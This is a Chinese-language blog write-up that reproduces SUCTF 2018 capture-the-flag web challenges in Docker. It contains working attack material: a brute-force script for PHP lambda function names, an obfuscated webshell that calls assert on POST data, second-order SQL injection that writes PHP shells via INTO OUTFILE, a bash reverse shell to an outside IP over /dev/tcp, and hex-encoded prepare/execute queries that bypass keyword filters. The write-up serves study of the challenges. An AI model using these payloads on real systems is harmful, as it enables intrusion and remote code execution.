2018-SUCTF
May 28, 2018 09:54 · 385 words · 2 minute read
前
赛后复现,趁机学一手docker。
题目镜像链接
suctf/2018-web-multi_sql
suctf/2018-web-homework
suctf/2018-web-hateit
suctf/2018-web-getshell
suctf/2018-web-annonymous
suctf/2018-pwn-note
suctf/2018-pwn-noend
suctf/2018-pwn-lock2
suctf/2018-pwn-heapprint
suctf/2018-pwn-heap
suctf/2018-misc-padding
suctf/2018-misc-game
suctf/2018-misc-rsagood
suctf/2018-misc-rsa
suctf/2018-misc-enjoy
suctf/2018-misc-pass
下面的exp中,许多地址使用的是出题人的本地环境,因此测试时请注意
Anonymous
给出源码
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
第二行的createfunction函数是创建一个匿名函数,但是匿名函数也有名字。名字是\x00lambda(随机数)
<?php
$MY = create_function("","die(`cat flag.php`);");
var_dump($MY);
//输出string(9) "lambda_7",后面的数字是随机变的。
于是爆破就可以了
import requests
import base64
for x in range(0,5000):
url= "http://192.168.10.179:2018/index.php?func_name=\x00lambda_%d"%(x)
r = requests.get(url)
# print(r.status_code)
if(r.status_code == 200):
print(x)
print(url)
print(r.text);
Getshell
过滤代码
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
测试可得可用字符为$().;=[]_~
获取可用字符
文章里介绍的第二种方法,利用取反来获取可用字符。
小例子
$a = ~垂;
echo $a."<br>"; //输出a}
echo $a[1]; //输出a
第一次知道在php里也可以使用数组的方法从字符串中取出字符。羞愧….
关于asser函数特意又写了一篇笔记,(废了一下午时间和玄学玩耍。)
写shell
找汉字(这里有一个插曲,在使用mb_substr函数的时候,需要在php.ini中修改一个配置项,但是我修改了依旧没有用。。于是在centos上使用,在centos上则是需要安装php-mbstring模块。)
<?php
$str = "一篇文章的内容即可,字数多一点";
$num = strlen($str);
$worl = ~mb_substr($str,0,1,'utf-8');
for($i=0; $i<$num;$i++){
$worl = mb_substr($str,$i,1,'utf-8');
$ans = ~$worl;
if($ans[1]=='a' || $ans[1]=='s'|| $ans[1]=='e' || $ans[1]=='r' || $ans[1]=='t' || $ans[1]=='P' ||$ans[1]=='O' ||$ans[1]=='S' ||$ans[1]=='T'){
echo $ans[1];
echo $worl;
echo "<br>";
}
}
?>
webshell如下
<?php
@$_ = [];
@$__ = ($_==$_); //做索引
// echo $__; //1
@$___ = ~鞋[$__].~包[$__].~包[$__].~的[$__].~捂[$__].~狂[$__];
echo $___;
@$____ = ~树[$__].~说[$__].~小[$__].~次[$__].~站[$__];
echo "<br>";
echo $____;
$_=$$____;
$___($_[_]); //assert($_POST[_])
?>
MultiSql
bendawang师傅的解法觉得很6.
核心利用点:利用二次注入写shell。
1.先注册一个1’ into outfile ‘/var/www/html/favicon/1.php’#的用户名。 2.然后使用这个用户名去登陆(一定要重新登录,不然session保存的是经过转义的用户名,sql语句无法执行) 3.访问我们写入的php文件。 http://192.168.10.111:2018/favicon/1.php
5 1 c4ca4238a0b923820dcc509a6f75849b \N 2018-06-04
我们可以看到用户名和密码写入了文件,用户名是可控的,所以可以将用户名写成shell。
4.注册一个用户名为<?php eval('$_GET[a]');?>
的用户。
5.在注册一个<?php eval('$_GET[a]');?>' into outfile '/var/www/html/favicon/shell.php'#
的用户。
6.然后再登录一下<?php eval('$_GET[a]');?>' into outfile '/var/www/html/favicon/shell.php'#
用户。这样shell就写进去了。
但是数据库的username有长度限制,所以要缩短用户名
<?php `$_GET[a]`;?>'into outfile'/var/www/html/favicon/1.php'
然后反弹shell
http://192.168.10.111:2018/favicon/6.php?a=bash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp/150.95.174.245/8888 0%3C%261%202%3E%261%22
预期解
bendawang师傅的解法是非预期,预期是利用mysqli_multi_query()函数,执行多条sql语句,写shell。
sql注入读源码
这里学习到了一种新的sql注入的手法多语句注入
- set
- prepare
- execute
set
MariaDB [(none)]> set @a='select version()';
Query OK, 0 rows affected (0.00 sec)
MariaDB [(none)]> select @a;
+------------------+
| @a |
+------------------+
| select version() |
+------------------+
set 的作用就是定义一个变量,变量的命名必须是@开头。
prepare和execute
prepare语句用于预定义一个语句,并可以指定预定义语句名称。execute则是执行预定义语句。
prepare prepare_name from “sql语句”
execute prepare_name
示例
MariaDB [(none)]> prepare t from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
MariaDB [(none)]> execute t;
+-------------------+
| version() |
+-------------------+
| 10.1.29-MariaDB-6 |
+-------------------+
1 row in set (0.00 sec)
结合起来利用就是
MariaDB [(none)]> set @a='select version()';
Query OK, 0 rows affected (0.00 sec)
MariaDB [(none)]> prepare t from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
MariaDB [(none)]> execute t;
+-------------------+
| version() |
+-------------------+
| 10.1.29-MariaDB-6 |
+-------------------+
1 row in set (0.00 sec)
划重点
看到set+prepare+execute可能觉得就是简化sql语句而已,并没有什么特殊的地方。
这里可以再结合上16进制的特点。这样就可以绕过对一些关键字(select,from之类的)的过滤。
示例
MariaDB [(none)]> set @a=0x73656c6563742076657273696f6e2829;
Query OK, 0 rows affected (0.00 sec)
MariaDB [(none)]> prepare y from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
MariaDB [(none)]> execute y;
+-------------------+
| version() |
+-------------------+
| 10.1.29-MariaDB-6 |
+-------------------+
select version()16进制编码后为0x73656c6563742076657273696f6e2829,这样我们就可以绕过对select之类关键字的绕过。